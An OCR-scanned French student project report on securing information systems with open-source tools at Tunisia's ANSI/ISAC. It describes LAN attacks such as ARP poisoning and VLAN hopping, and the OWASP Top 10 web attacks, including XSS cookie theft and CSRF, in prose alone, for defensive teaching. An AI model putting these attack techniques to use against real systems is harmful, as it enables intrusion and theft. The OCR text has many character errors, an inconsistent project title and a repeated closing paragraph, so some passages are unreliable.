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Introduction ge’ném[e

La notion du réseautage constitue une base importante du monde moderne, tout le systeme
universel fonctionne en réseau, que ce soit économiquement, socialement ou politiquement, en effet
cette notion est appliquée aussi sur le domaine technologique ; le réseau représente le noyau de chaque
systtme informatique, il présente donc un patrimoine essentiel pour ce dernier.
Le réseau informatique est devenu un outil irremplagable pour les activités des entreprises. La sécurité
de ces derniers est dés lors devenu une préoccupation majeure a cause des menaces y afférents.
Les entreprises ayant des réseaux informatiques sont en présence d’un perpétuel risque a cause des
données importantes pour le fonctionnement de celle-ci, et leur perte suite a un virus ou par I’intrusion
d’un pirate, constituera un probléme. C’est pour cela que ces entreprises sont a la quéte de
méthodologie, de techniques pour préserver leur systéme d’information d’endommagement et de perte.
Afin de combler ce besoin imminent de sécurité, plusieurs solutions ont €ét¢ mise en place pour
prévenir et attaquer les intrusions. C’est dans ce cadre que s’inscrit notre projet intitulé «Déploiement
de la sécurité des systémes d’information a 1’aide des outils open source » .Au cours de ce projet on
s’intéressera a I’étude et a la mise en ceuvre des logiciels libres open source pour assurer la sécurité¢ du
réseau.

Le présent rapport est organis¢ de la fagon suivante : nous présenterons dans le premier
chapitre ’entreprise qui a hébergé ce projet de fin d’études ainsi que le contexte et les objectifs de
notre projet. Le deuxiéme chapitre introduit les spécifications des besoins, les notions de base de la
sécurité¢ informatique, les attaques réseau et web et les préventions pour protéger les systémes
d’information. Le troisiéme chapitre présente une étude comparative approfondit sur les outils
nécessaires de la sécurité des systemes d’information. Enfin, le quatrieme chapitre contiendra la
réalisation de notre architecture type et ces divers composants.
Nous finirons ce rapport par une conclusion générale des différentes phases de notre travail, signalant

les cotés bénéfiques du projet et énongant les perspectives du travail élaboré.



Cﬁcyoitre 1

Cadre du profet

Introduction :

Dans les derniéres décennies 1I’économie mondiale a eu un essor remarquable, la multiplication
des domaines d’investissement ainsi que la prolifération des petites et moyennes entreprises, été
simultané avec 1’expansion de la technologie qui a finit par se fusionner avec 1’économie. Suite a ¢a
nous allons poser la problématique et présenter I’établissement dans lequel nous avons fait notre stage

de fin d’études.

IL.1. Problématique :

La libre circulation des informations, et des données personnelles des clients dans les réseaux
mondiaux, ainsi que la multitude des bases de données créé autour des petites et moyennes entreprises
incluant les données bancaires des clients dans le cas du e-commerce, ce qui représente une
importance considérable. D’ou est né le besoin de protéger ces informations, inscrites généralement
dans des réseaux internes des entreprises.

Ces dites entreprises, qui sont dans un besoin imminent de sécurité pour pouvoir mieux se développer
dans le marché dans I’efficacité des services sont communément des petites ou moyennes entreprises,
qui n’ont pas les moyens de se procurer des logiciels de protection qui sont a des prix aberrérent.

Cette nécessité sécuritaire, a fait que les petites entreprises n’ayant pas les moyens financés sont a la
recherche de moyens adéquats, efficaces et efficients, Open Source, des logiciels qui puissent répondre
aux besoins.

Dans ce cadre, notre projet vise ces deux catégories d’entreprises, par la conception et la mise en
ceuvre de la sécurité d’une architecture type des systemes d’information a 1’aide des outils open

source.



L2. Organisme d’accueil :

A T'occasion de veille sur la protection des infrastructures informationnelles critiques,
I’Agence Nationale de Sécurité Informatique (ANSI) travaille depuis des années sur le développement
d’un centre d’analyses et de partage de I’information appelé ISAC « Information Sharing and Analysis
Center » dont ces principaux rdles sont la collecte, I’analyse et le partage des événements liée a la

cyber-sécurité.

1.3. Roles de ’ISAC :

L'TSAC est une compilation de plusieurs outils qui intégre des éléments techniques et des
composants de gestion des flux d'information afin de rassembler des données relatives a la cyber-
sécurité qui seront analysés avec des méthodes intelligentes. Ce qui permet d'évaluer et de mesurer les
risques et les menaces et d'analyser les impacts sur les différents composants du cyberespace national.
L'ISAC représente donc un systeéme de support décisionnel pour aider a mesurer le niveau d’alerte de
sécurité nationale a partir d'une énorme quantité d'événements analysés.

Parmi les objectives de I'ISAC :

Mesurer la température (niveau d’alerte) de cyberespace national, par I’extraction des indicateurs
globaux informant sur les menaces potentielles.

Fournir une plateforme de suivi des attaques cybernétiques et permettant d’offrir un support
d’investigation pour les incidents de sécurité informatique.

Implémenter et développer des solutions de détection et retracage des attaques cybernétiques en
utilisant des technologies avancées telles que les systémes de détection d'intrusion distribués (D-IDS),
les réseaux de pots de miels (Honeynet) et les capteurs de trafics malicieux (sensors).

Surveiller les nceuds critiques, comme les serveurs des FAI (DNS, Mail) et les routeurs Internet, afin
de détecter les anomalies et les intrusions qui peuvent résulter des attaques cybernétiques.

Détecter les attaques qui ciblent les sites Web hébergés dans le cyberespace national. En effet, les
applications web sont les premicres cibles des attaques, et surtout les sites d’e-commerce qui
représentent des enjeux économiques.

Développer un systeme de détection des propagations virales (virus, botnets, torjans) a 1’échelle
nationale afin d’identifier les sources d’infection, les types des malwares et les contréleurs des bots et
implémenter des mécanismes de clean-up en partageant les sources des données avec les FSI.
Construire une base de connaissances (les types d'attaques, les exploits, les sources d'attaques, les
listes noires, les ports ciblés, les vulnérabilités exploitées) qui constituent les ressources de partage.
Améliorer les capacités de surveillance et de détection, afin d'assurer une meilleure visibilité sur le

cyberespace.



% La plateforme nationale de la supervision des attaques cybernétique «SAHER) :

SAHER représente la plateforme technique de I'ISAC; qui regroupe un ensemble d'outils
techniques développés dans d'un environnement open source.
SAHER se compose de trois principales couches qui sont la couche de collecte et de détection
(Information Gathering), la couche d'analyse et corrélation (Information Analysis) et la couche

workflow (Information Sharing):

- -

Couche WORKFLOW

Couche analyse et corrélation

\ Couche de collecte et de détection /

Figure 3.1: Plateforme SAHER a trois couches

La collecte d'informations (Information gathering): An niveau de ce processus on doit identifier les
sources potentielles, qui sont les plus exposés et qui fournissent des données importantes, comme les
fournisseurs de services Internet (FSI/ISP), le gouvernement, les hautes institutions ; les données
collectées peuvent prendre différentes formes:

Alerte générée par des capteurs « sensors/collectors » (IDS, antivirus, pare-feu ...).

Le signalement des incidents.

Incident rapporté par les outils de sécurité.

Information sur la propagation des malwares.

Détection d’anomalie sur un systéme critique.

Donnée regue par une entité externe (les CERTs internationaux, les Organisations coopérants, des
laboratoires de recherche en sécurité).Le processus de collecte doit établir des canaux d'échange de
données en tenant compte des principales exigences de protection tel que la disponibilité et la
confidentialité¢ de ces données.

Le systéme doit fournir une plateforme centralisée et accessible pour contenir une énorme quantité
d'événements de sécurité collectées automatiquement ou manuellement. Analyse de l'information
(Information Analysis): 1’objective de ce processus est d’extraire les événements de sécurité les plus
significatifs a partir des données brutes, et de fournir des indicateurs renseignant sur les menaces
potentielles au niveau du réseau surveillé. Le traitement de 'information doit poursuivre les phases

suivantes:



La normalisation.

Le Filtrage.

La Priorisation.

L'évaluation des risques.

La Corrélation.

Annoncement des alertes

Partage (Sharing): L’objectif de ce processus est de mettre le résultat de 1'analyse des informations a
la disposition des superviseurs et des analystes, avec une évaluation des risques sur les menaces
potentielles. Le systéme de partage devrait fournir une classification des données de fonction de leur
ordre d'importance. Les intervenants peuvent étre:

Les administrateurs de réseau, qui peuvent accéder a l'information sur la menace encourue, ou a
l'information sur des menaces plus généralisées.

Des professionnels, y compris des personnes extérieures au projet qui peuvent bénéficier d'un acces a
l'information générale indiquant sur 1'état de la sécurité globale du cyberespace dans lequel ils operent.
Les décideurs, qui peuvent accéder a des indicateurs globaux et des statistiques indiquant les risques et
les menaces existantes.

La communauté nationale, qui peut étre avertie en cas de risques majeurs, comme les propagations
massives de malwares.

Le systeme de partage doit fournir certains canaux de communication, afin de permettre 1'échange

d'informations avec toutes les communautés ciblées: Mailing-list, site web, médias.

L.4. Périmetre et contexte du projet :

Le périmetre de notre projet se limite au niveau du processus de I'ISAC déja énoncé au niveau
du paragraphe précédent et nous allons le décrire ci-dessous.

Ci-apres, nous présentons 1’objectif et les différents composants de I'ISAC :



Coopération avec les autres Open Source Vulnerability
CERT internationaux: Workflow des incidents: Database (OSVBD):
Récupération des attaques Récupération des incidents Source d’information sur les
depuis la Tunisie vulnérabilités

SAHER-WEB SAHER-SRV SAHER-IDS SAHER-HONEYNET

Surveillance des sites web Surveillance de la Détection des attaques Récolte des différents

Tunisiens: disponibilité des services massives: Malwares:

- Web Defacement Internet: - Intrusion - Attaques virales

- DoS Web - Mail Bombing - DDoS - Scan

- Détérioration de I'accés - Crash des serveurs DNS - Attaques virales - Attaques distribuées
web - DNS poisoning

Corrélation

Traitement des
incidents

Détection et retragcage des attaques cybernétiques

Figure 1.4: objectif et différents composants de I’lSAC

En effet, le programme SAHER (le noyau de 'ISAC) est un centre d’observation basé sur des
solutions open-source, qui permet d’assurer la veille sur la sécurité de I’espace cybernétique Tunisien.

Il est constitu¢ de quatre principales composantes:

SAHER-WERB : surveille les sites web tunisiens contre les attaques de type « effacement » de contenu

web, et phishing.

SAHER-SRV : contrdle la disponibilité des services Internet tels que les serveurs DNS, les serveurs

Mail, contre les attaques du type Mail Bombing, et DNS Poisoning.

SAHER-IDS : détecte les différents types d’attaques massives (intrusion, scans, DDOS, ...) ciblant les

systémes informatiques tunisiens et en particulier les espaces d’ébergements.

SAHER-Honeynet : identifie les activités potentiellement malicieuses (attaques virales, scans,

attaques distribuées) et récolte les différents types de malwares qui visent le cyberespace tunisien.

Vu que le périmetre de 'ISAC « Information Sharing and Analysis Center » est le centre des
informations critiques sont exploitées par plusieurs équipes au sein d I’ANSI a savoir les services du
traitement d’incident, de supervision de 1’espace cybernétique et veille sur les vulnérabilités et qu’il y
a des interactions avec des entités externes (entreprises publiques et privées, fournisseurs d’acces
internet FAI, des sites d’hébergement tunisiens et des coopérations avec des CERTSs internationaux)

alors il est trés important d’implémenter un systéme de management de la sécurité de I’information et



ceci non pas seulement pour assurer la sécurité d’un tel centre mais aussi pour gagner la confiance des
entités avec lesquelles le systéme interagit.
C’est dans ce cadre que se situe notre mémoire du mastere en sécurité des systémes informatiques

intitulés ‘mise en place d’un SMSI au sein de I’ANSI pour le périmetre ISAC’.

Le résultat attendu est un systéeme de management de la sécurité¢ d’information du périmetre ISAC

efficace, documenté, maintenu, évolutif et approuvé afin de:
Assurer la continuité des activités

Minimiser les dommages pour l'activité en cas de sinistres
Optimiser le retour sur investissement

Permettre de saisir les opportunités d'activité

Conclusion :

Dans le deuxiéme chapitre nous allons viser les spécifications des besoins de notre projet, mentionner

les attaques et les préventions contre ces derniers.



Cﬁqpitre 2

S}ae’cfﬁ’cation des besoins

Introduction :

Dans ce chapitre nous allons principalement nous intéresser a définir la sécurité des systémes
d’information, mentionner les attaques réseaux et Web, et a définir les différentes solutions de contre-

mesure.

II.1. La sécurité informatique

Désormais l'utilisation d'internet est de plus en plus répandue au sein des entreprises qui
mettent leur systeme d'information a disposition de leurs partenaires, leurs fournisseurs ou leurs
clients ; ce qu’il les rend susceptible d’étre menacé par des virus, des vers des spams etc. C’est donc
essentiel de protéger ces entreprises par la connaissance de leurs ressources afin de maitriser le
contrdle d'acces et les droits des utilisateurs du systéme d'information. De plus, ce systéme
d’information, consiste a permettre aux personnels de se connecter a partir de n'importe quel endroit,
ces derniers sont configurés a transmettre une partie du systeme d'information hors de l'infrastructure

sécurisé de 1'entreprise.

I1.2. Principe de la sécurité informatique : i

Le systéme d'information est généralement défini par l'ensemble des données et des ressources
matérielles et logicielles de l'entreprise permettant de les stocker ou de les faire circuler. La sécurité
informatique, consiste a assurer les ressources matérielles ou logicielles d'une organisation qui sont
uniquement utilisées dans le cadre prévu. Assurant la sécurité informatique pour garantir ces
contraintes :

* Authentification: est la procédure pour un systéme informatique qui consiste, a vérifier

l'identité d'une entité (personne, ordinateur), afin d'autoriser I'acces de cette entité a



des ressources (systemes, réseaux, applications). Elle permet donc de valider 1'authenticité de
l'entité en question.

* Confidentialité : les données (transmises ou stockées) ne sont accessibles en lecture que par
les parties autorisées.

* Intégrité : les données de communication ne sont modifiées que par les parties autorisées
(protection de I’information contre les modifications accidentelles, intentionnelles et non
autorisées.

* Disponibilité : La disponibilité est le fait de s’assurer que I’information soit toujours
disponible.

* Non-répudiation : Une entité ne peut nier son implication dans une action a laquelle il a
participé pour contrdler chaque action faites sur un réseau afin de savoir quelle entité est a

I’origine d’une action et/ou une défaillance sur le systéeme d’information.

I1.3. Les Menaces :

Le risque en terme de sécurité est généralement caractérisé par 1'équation suivante :

menace * vulnérabilité

Risque =
contre—mesurs

La menace « threat » Tout ordinateur connecté a un réseau informatique est potentiellement
vulnérable a une attaque, tandis que la vulnérabilité « vulnerability », appelée parfois faille ou bréche
représente le niveau d'exposition face a la menace elle peut étre une erreur de conception (bug)
pouvant altérer la sécurité du systéme, on peut trouver des vulnérabilités au niveau du systeme
d’exploitation, au niveau applicatif ou bien au niveau du réseau. Enfin la contre-mesure est
'ensemble des actions mises en ceuvre en prévention de la menace. Les contre-mesures a mettre en
ceuvre ne sont pas uniquement des solutions techniques mais également des mesures de formation et de
sensibilisation a l'intention des utilisateurs, ainsi qu'un ensemble de régles clairement définies. Afin de
pouvoir sécuriser un systéme, il est nécessaire d'identifier les menaces potentielles, et donc de

connaitre et de prévoir la fagon de procéder de I'ennemi.

I1.4. Les attaques informatiques : 2

Les attaques informatiques se basent essentiellement sur l'ingénierie sociale et l'irresponsabilité
qui se caractérise dans ces principes par : le contexte, l'audace, la chance et la patience calculée. Cette
recherche se concentre sur les types d’attaques réseaux et web qui causent des impacts trés servers sur

la sécurité informatique.



I1.4.1. Les attaques réseaux :

Il ne faut pas sous-estimer les attaques provenant de l'intérieur du réseau. Cela représente un
réel risque, qu'il soit appliqué par un utilisateur de l'entreprise ou un pirate. Le fait de se brancher sur
le réseau Ethernet de l'entreprise nous ouvre déja beaucoup de possibilités d’incursions. Aujourd'hui,
le probléme des entreprises, c'est qu'elles sont souvent inconscientes du danger interne et n'appliquent
pas ou peu de protection LAN. De ce fait, les attaques DOS et 1'écoute sont facilement réalisables sans
aucune authentification.

Voila des exemples des attaques réseaux les plus répandus :

11.4.1.1. Attaque avec usurpation d'identité :

Ce n'est pas une attaque en soi, mais un moyen de se cacher. Cela permet d'éviter au maximum
d'étre repéré et d'étre logué. Pour cela, il ne faut pas utiliser sa réelle adresse MAC, mais une fictive.
Deux moyens sont disponibles pour effectuer du MAC Spoofing. Le premier est basé sur l'utilisation
d'outil tel que frameip.exe qui permet de forger des paquets avec I'adresse MAC source de votre choix.
Le second moyen est de changer les paramétres de son driver Ethernet géré par le systéme

d'exploitation.

11.4.1.2. Attaque MAC Flooding :

Cette attaque est basée sur l'envoi massif de requéte et réponse ARP. Chaque requéte doit avoir
une adresse MAC différente, ainsi les différents Switchs du LAN vont apprendre cette correspondance
entre l'adresse MAC et le port physique. Avec un envoi massif, le Switch saturera rapidement sa

mémoire qui est limitée. Cela dépend du constructeur, de 1'équipement et de la version.

pa S

(flood)

Switch

]

pa p—

Figure 2.1 : Exemple attaque MAC Flooding
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11.4.1.3. Attaque ARP Poisoning :

Cette attaque se base sur l'envoi d'informations de requétes ARP falsifiées. L'intérét est de faire
croire aux autres que l'adresse IP de la cible correspond a une adresse MAC que l'on choisit. Ainsi, les

différents équipements du LAN apprennent la mauvaise correspondance.

11.4.1.4. Attaque spanning tree

Cette attaque se base sur l'envoi de trames BPDU (bridge protocol data units) a destination du
Switch cible. Dans un environnement Sapnning-Tree, il y a un seul Switch qui est élu root (maitre)
servant de référence pour les colts et les chemins. Ces trames BPDU émises avec un BID (Bridge ID)

tres petit, obligeront les commutateurs a recalculer le nouveau root

Table Spanning Tree

2
BID = 99 => Root = me

4
BID = 99 => Root = you

Figure 2.2 : Exemple d’attaque Spanning tree

11.4.1.5. Attaque saturation processeur via BPDU :

Cette attaque se base sur I'envoi massif de datagramme multicast (consommateur de processeur
distant) a destination du Switch. L'intérét est de changer le mode de fonctionnement du Switch afin
qu'il travaille en HUB. Cela est possible car certains Switchs, a I'approche de la saturation processeur,

préfere basculer en mode HUB afin de préserver une priorité sur I'exploitation.

11.4.1.6. Attaque VLAN via Cisco DTP :

Cette attaque se base sur I'envoi d'une trame forgée avec un tague 802.1Q. L'intérét est de
pouvoir discuter avec des cibles membres d'un VLAN déférent du siens. Pour cela, si le Switch intégre
un protocole de type DTP (Dynamic Trunking Protocol), lorsqu'il verra arriver une trame tagué, il
changera le port du pirate en mode trunck. Ce qui permet alors au hackeur de pouvoir, en forgeant ses
trames, discuter avec n'importe quel VLAN.

Le moyen de protection est simple, il suffit de ne pas utiliser des protocoles comme DTP.
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11.4.1.7. Attaque 802.1Q caché :

Cette attaque se base sur I'envoi d'une trame forgée avec deux tagues 802.1Q. L'intérét est de
pouvoir discuter avec des cibles membres d'un VLAN déférent du sien. Pour cela, le pirate doit étre
positionné sur un port Trunk VLAN natif. Le Switch supprimera le premier tag lorsqu'il verra arriver
une trame taguée qui ne devrait pas I'étre sur un VLAN natif. L'astuce était d'avoir caché derricre le
premier tag, un second correspondant a la cible. Le moyen de protection consiste a bien maitriser les
modes de ses ports afin d'éviter des erreurs d'administration. Il est aussi intéressant de ne pas prendre

des produits bon marché afin que le Switch soit assez intelligent pour comprendre le double VLAN.

11.4.1.8. Préventions contre les attaques réseaux :

I1 est important de prendre conscience des risques liés au réseau LAN d'entreprise. La sécurité
informatique Interne est imminente et obligatoire, d’une part il est nécessaire de commencer par
sécuriser l'accés via les commutateurs. D’une autre part, comme sur l'Internet, il faut analyser
consolider et archiver les logs des différents équipements réseaux, comme sur Internet.

Nous nous intéresserons donc aux attaques web les plus propagés et les plus dangereuses.

11.4.2. Les attaques web : 3

Il y a plusieurs types d’attaques, nous allons citer ci-dessous les dix risques de sécurité
applicable au web, les plus critiques mentionnées par OWASP (The Open Web Application Security
Project) qui est une communauté ouverte dédi¢e a aider les entreprises a développer, acquérir et
maintenir des applications de confiance. L’intérét du tableau ci-dessous est de limiter les attaques web
en dix grandes catégories qui les plus dangereuses sur I’impact de la sécurité. La recherche sera plus
approfondie par des exemples concrets et détaillée avec des schémas explicatifs pour mettre le point

sur la dangerosité des failles causées par les développeurs.

12



Classement des menaces critique (d’aprés OWASP TOP 10)
OWASP TOP 10 (2010)
e« Al Injection
« A2 Cross-Site Scripting (XSS)
e A3 Violation de Gestion d’authentification et de Session
e A4 Références directes non sécurisées a un objet
e A5 Falsification de requéte intersites (CSRF)
e A6 Mauvaise configuration sécurité
« A7 Stockage cryptographique non sécurisé
e A8 Manque de restriction d’accés a une URL
e« A9 Protection insuffisante de la couche transport

e AIJO Redirection et Renvois non validés

Tableau 2.1 : Classement des 10 menaces web critiques

11.4.2.1 Al — Injection : 14

SOL Injection : Les attaques par injection de commandes SQL sont des attaques visant les sites web

s'appuyant sur des bases de données relationnelles.

Dans ce type de sites, des paramétres sont passés a la base de données sous forme d'une requéte SQL.
Ainsi, si le concepteur n'effectue aucun contrdle sur les parameétres passés dans la requéte SQL, il est
possible a un pirate de modifier la requéte afin d'accéder a I'ensemble de la base de données, voire a en
modifier le contenu.

LDAP Injection : Les attaques LDAP Injection sont basées sur des techniques semblables aux

attaques SQL Injection. Donc, le concept est de profiter des parameétres présentés par 1'utilisateur pour
conduire la question LDAP. Une application Web sécurisée devrait assainir les parametres présentés
par l'utilisateur avant la construction et 1'envoi de la question au serveur. Dans un environnement

vulnérables parametres ne sont pas correctement filtrés et I'attaquant peut injecter le code malveillant.

xPath Injection : Lorsque 1’on choisit de stocker des données sensibles en XML plutot que dans une

base de données SQL, les attaquants peuvent s’appuyer sur une injection de XPath pour contourner

une authentification comme pour inscrire des données sur le systéme distant.

I42.2. A2 - Cross-Site Scripting (XSS): I°!

Attaque dans laquelle un pirate informatique va injecter dans un site web de bonne foi un script

malveillant en profitant d'une faille dans les contrdles de validité du site. Lors d'une visite de la page
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piégée ou lors du clic sur un lien piégé le script sera chargé a l'insu de 'utilisateur en méme temps que

les données, et il s'exécutera sur son ordinateur.

Les Applications Web mail : Un utilisateur malfaisant envoie un courriel a la victime , le courriel

contient un script javascript puis la victime se connecte a l'application Webmail en entrant son code
utilisateur et mot de passe , quoique la connexion soit sécurisée par SSL , le serveur envoie un cookie
au client contenant un identificateur unique de session alors que la session a une durée de 20 minutes,
pendant ce temps, le cookie est utilisé pour authentifier 'utilisateur pendant ce temps l'utilisateur lit le
message malfaisant comme javascript est nécessaire pour utiliser le webmail, le javascript s'exécute et
accede au cookie contenant la session, et redirige le client vers un autre serveur en envoyant a celui-ci
la session en paramétre le serveur malfaisant recoit la session de la victime et redirige le client vers la
page précédente ,la victime remarque que l'interface utilisateur du webmail est disparue pendant deux
secondes, mais ne s'inquicte pas, finalement ['utilisateur malfaisant a maintenant quelques minutes

pour accéder au compte webmail et effectuer un vol d'identité.

Sites de commerce électronique avec revues d'utilisateurs : Un utilisateur malfaisant poste une

critique d'un disque sur un site du commerce électronique et l'application Web ne valide pas
correctement 1'entrée et sauvegarde la critique qui contient un script .La victime se rend sur le site pour
effectuer des achats avec sa carte de crédit, le serveur envoie un cookie au client contenant un
identificateur unique de session, la session a une durée de 20 minutes, pendant ce temps, le cookie est
utilisé pour authentifier l'utilisateur et la connexion est sécurisée par SSL. Pendant ce temps
l'utilisateur lit le message malfaisant comme JavaScript est nécessaire pour utiliser le site du commerce
¢électronique, il s'exécute et accéde au cookie contenant la session, et redirige le client vers un autre
serveur en envoyant a celui-ci la session en paramétre puis le serveur malfaisant regoit la session de la
victime et redirige le client vers la page précédente. La victime remarque que l'interface utilisateur du
site du commerce électronique est disparue pendant deux secondes, mais ne s'inquiéte pas, enfin
l'utilisateur malfaisant a maintenant quelques minutes pour accéder au compte du site du commerce

¢lectronique et effectuer des achats au nom de 1'utilisateur.

Messages d’erreur : Une application Web contient une page d'erreur 404 du type : La page

"/pagerronnee" n'existe pas mais l'application Web réécrit ’'URL en entrée et l'application Web ne
valide pas correctement I'entrée et la réaffiche directement. L'utilisateur malfaisant envoie un courriel a
la victime contenant un lien vers la page d'erreur. Concrétement Les parameétres de ce url sont
camouflés et contiennent un script exécutable. La victime suit le lien et est ensuite redirigée vers un
autre site, il pense étre sur le site A, mais est en fait sur le site B. Le deuxiéme serveur (B) peut alors

collecter de l'information sur la victime qui pense étre sur le site A.
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11.4.2.3. A3 - Violation de Gestion d’authentification et de Session : 16/
Brute Force : Les mots de passe de la plupart des logiciels sont stockés cryptés dans un fichier. Pour
obtenir un mot de passe, il suffit de récupérer ce fichier et de lancer un logiciel de brute force cracking.
Ce procédé consiste a tester de facon exhaustive toutes les combinaisons possibles de caractéres
(alphanumériques + symboles), de maniére a trouver au moins un mot de passe valide. Cette attaque
se base sur le fait que n'importe quel mot de passe est crackable. Ce n'est qu'une histoire de temps.
Mais la puissance des machines doubles tous les deux ans. Aujourd'hui les processeurs sont cadencés a
plus de 3GHz ! De plus, les crackers n'hésitent pas a fabriquer des cartes électroniques de cracking, ce
qui améliore en conséquence la rapidité de la machine, et donc les chances de trouver un mot de passe
valide. Les cartes graphiques, avec leurs puissances de calcul gigantesques sont aussi mises a

contribution. Un GPU est, en moyenne, 10 fois plus rapide qu'un CPU.

Fixation de session : 1'attaquant crée une session sur le serveur, il transmet ce numéro de session a la

victime via un lien. La victime s'authentifie, en utilisant ce numéro de session et 'utilisateur malfaisant

peut maintenant utiliser le compte de la victime.

1. session = abc —
4. session = abc
-

@

<—
908 = U0ISS85 °Z

0

Figure 2.3: Principe d’attaque fixation de session

11.4.2.4. A4 Références directes non sécurisés a un objet :

Une référence directe a un objet se produit quand un développeur expose une référence a un
objet d'exécution interne, tel un fichier, un dossier, un enregistrement de base de données, ou une clé
de base de données. Sans un controle d'acces ou autre protection, les attaquants peuvent manipuler ces

références pour accéder a travers des commandes SQL a des données non autorisées.

11.4.2.5. A5 Falsification des requétes intersites (CSRF) :

Une attaque CSRF (Cross Site Request Forgery) force le navigateur d'une victime authentifiée
a envoyer une requéte HTTP forgée, comprenant le cookie de session de la victime ainsi que toute
autre information automatiquement inclue, a une application web vulnérable. Ceci permet a 'attaquant
de forcer le navigateur de la victime a générer des requétes dont 1'application vulnérable pense qu'elles

émanent 1égitiment de la victime.
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Figure 2.4: Principe d’attaque CSRF par réflexion

Le détournement de session : Le détournement de session profite de I'authentification déja établie par

l'utilisateur sur le site, voici les étapes de I’attaque :
* Un utilisateur est authentifié sur un site vulnérable.
* Il est incité a visiter une page malveillante d'un site contenant une requéte vers le site
initial.
* Larequéte hérite automatiquement des propriétés d'authentification de 1'utilisateur.

* Larequéte effectue une opération en lieu et place de l'utilisateur.

Site Vulnérable (V) Site Malveillant (M)

(1) : Authentification de la victime sur un site vulnérable
(2) : Visite du site malveillant par la victime

(3) : Envoi d’une requéte a effectuer a la victime

(4) : Requéte a l'insu de la victime vers le site vulnérable

A

2
Victime
Figure 2.5: Principe d'un détournement de session
11.4.2.6. A6 Mauvaise configuration de sécurité :

Une bonne sécurité exige d'avoir une configuration sécurisée définie et déployée pour
l'application, les contextes, serveur d'application, serveur web, serveur de base de données, et la plate-
forme. Tous ces parametres doivent étre définis, mis en ceuvre, et maintenu afin de ne pas comprendre
de failles de sécurité. Ceci inclut de maintenir tous les logiciels a jour, y compris toutes les

bibliothéques de code employées par l'application.
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11.4.2.7. A7 Stockage cryptographique non sécurisé :

Beaucoup d'applications web ne protégent pas correctement les données sensibles, telles que les
cartes de crédit, SSNs, les informations d'authentification, avec un chiffrement ou un hash approprié.
Les pirates peuvent voler ou de modifier ces données faiblement protégées pour perpétrer un vol

d'identité et d'autres crimes, tels que la fraude a la carte de crédit.

11.4.2.8. A8 Manque de restriction d’Accés URL :

Les applications ne protégent pas toujours correctement les requétes. Parfois la protection des
URLs est gérée par l'intermédiaire de la configuration, et le systéme est mal configuré. Parfois les
développeurs doivent inclure leur propre vérification dans leur code, mais ils peuvent oublier. La
détection est facile. La partie la plus difficile consiste a déterminer les pages (URLs) existantes
potentiellement vulnérables. De telles failles permettent a un attaquant d'accéder a des fonctionnalités

non autorisées. Les fonctions d'administration sont les cibles clés de ce type d'attaque.

7
11.4.2.9. A9 Protection insuffisante de la couche transport : 17

Fréquemment les applications ne protégent pas le trafic réseau. Elles peuvent utiliser SSL/TLS
durant l'authentification, mais exposer par ailleurs des données et identifiants de session. Des
certificats expirés ou mal configurés peuvent également étre utilisés.

Détecter des failles basiques est facile. Il suffit d'observer le trafic réseau du site. Les failles plus
subtiles requierent une inspection de l'architecture de 'application et de la configuration du serveur. De
telles failles exposent des données utilisateurs et peuvent conduire a leur usurpation. Si un compte
Administrateur est compromis, I'ensemble du site peut étre impacté. Une mauvaise configuration de

SSL peut aussi faciliter des attaques (phishing, man in the middle, etc.).

* Le Phishing : Le phishing (contraction des mots anglais « fishing », désignant le piratage de

lignes téléphoniques), traduit parfois en « hamegonnage », est une technique falsifiée utilisée
par les pirates informatiques pour récupérer des informations (généralement bancaires) aupres
d'internautes.

La technique d’attaque est basé sur 1’« ingénierie sociale » c'est-a-dire consistant a exploiter
non pas une faille informatique mais la « faille humaine » en dupant les internautes par le biais
d'un courrier électronique semblant provenir d'une entreprise de confiance, typiquement une

banque ou un site de commerce.

* Principe d’attaque : 1.e mail envoyé par ces pirates usurpe l'identité d'une entreprise (banque,

site de commerce électronique, etc.) et les invite a se connecter en ligne par le détour d'un lien

hypertexte et de mettre a jour des informations les concernant dans un formulaire d'une page
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web factice, copie conforme du site original, en prétextant par exemple une mise a jour du

service, une intervention du support technique, etc.

*  Man in the middle : 1'attaque « man in the middle » ou bien « attaque de I'homme au milieu »

ou « attaques de l'intercepteur », parfois notée MITM, est un scénario d'attaque dans lequel un
pirate écoute une communication entre deux interlocuteurs et falsifie les échanges afin de se
faire passer pour l'une des parties. La plupart des attaques de type « man in the middle »

consistent a écouter le réseau a 1'aide d'un sniffer.

A AL

Victime
Serveur web
Connection MITM
Pirate
Figure 2.6: ARP Poisoning (man in the middle)
11.4.2.10. A10 Redirections et renvois non valideés :

Les applications utilisent fréquemment les redirections et les renvois pour rediriger les
utilisateurs vers d'autres pages. Parfois la page cible est spécifiée dans un paramétre non validé,
permettant a un attaquant de choisir la page de destination. La détection de redirections non vérifiées
est facile : recherchez des redirections ou I'URL compléte peut étre modifiée. La détection de renvois
non vérifiés est plus compliquée puisqu'ils ciblent des pages internes. De telles redirections peuvent
permettre l'installation de logiciels malveillants ou I'usurpation d'informations sensibles de 1'utilisateur.

Des renvois non siirs peuvent permettre de contourner les controles d'acces.

IL.5. Les préventions contre les attaques :

Dans les systétmes d’information on trouve toujours des vulnérabilités et des failles fatales,
pour assurer un maximum de sécurité et prévenir contre la totalit¢ des attaques nous devons
implémenter dans un 1’architecture réseaux des équipements et des logiciels de sécurité informatique
fiables et efficaces. Par conséquent le reste de notre recherche se focalise sur les méthodes et les

équipements de préventions contre les attaques.
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11.5.1. Les Antivirus : 18

11.5.1.1. Définition :

Un antivirus est un logiciel informatique destiné a identifier et a effacer des logiciels
malveillants (malwares en anglais), également appelés virus, Chevaux de Troie ou vers selon les

formes.

11.5.1.2. Fonctionnement des Antivirus :

L'antivirus analyse les fichiers entrants (fichiers téléchargés ou courriers électroniques) et,
périodiquement, la mémoire vive de l'ordinateur et les périphériques de stockage comme les disques
durs, internes ou externes, les clés USB et les cartes a mémoire Flash.

La détection d'un logiciel malveillant peut reposer sur trois méthodes :

* Reconnaissance d'un code déja connu (appelé signature) et mémorisé dans une base de

données.

* Analyse du comportement d'un logiciel (méthode heuristique).

* Reconnaissance d'un code typique d'un virus.

11.5.2. Firewalls (pare-feu) : i

Chaque ordinateur connecté a n'importe quel réseau informatique est susceptible d'étre victime
d'une attaque d'un pirate informatique. La méthodologie généralement employée par le pirate
informatique consiste a inspecter le réseau (en envoyant des paquets de données de maniére aléatoire)
a la recherche d'une machine connectée, puis a chercher une faille de sécurité afin de l'exploiter et
d'accéder aux données s'y trouvant. Chaque ordinateur connecté a n'importe quel réseau informatique
est susceptible d'étre victime d'une attaque d'un pirate informatique. La méthodologie généralement
employée par le pirate informatique consiste a inspecter le réseau (en envoyant des paquets de données
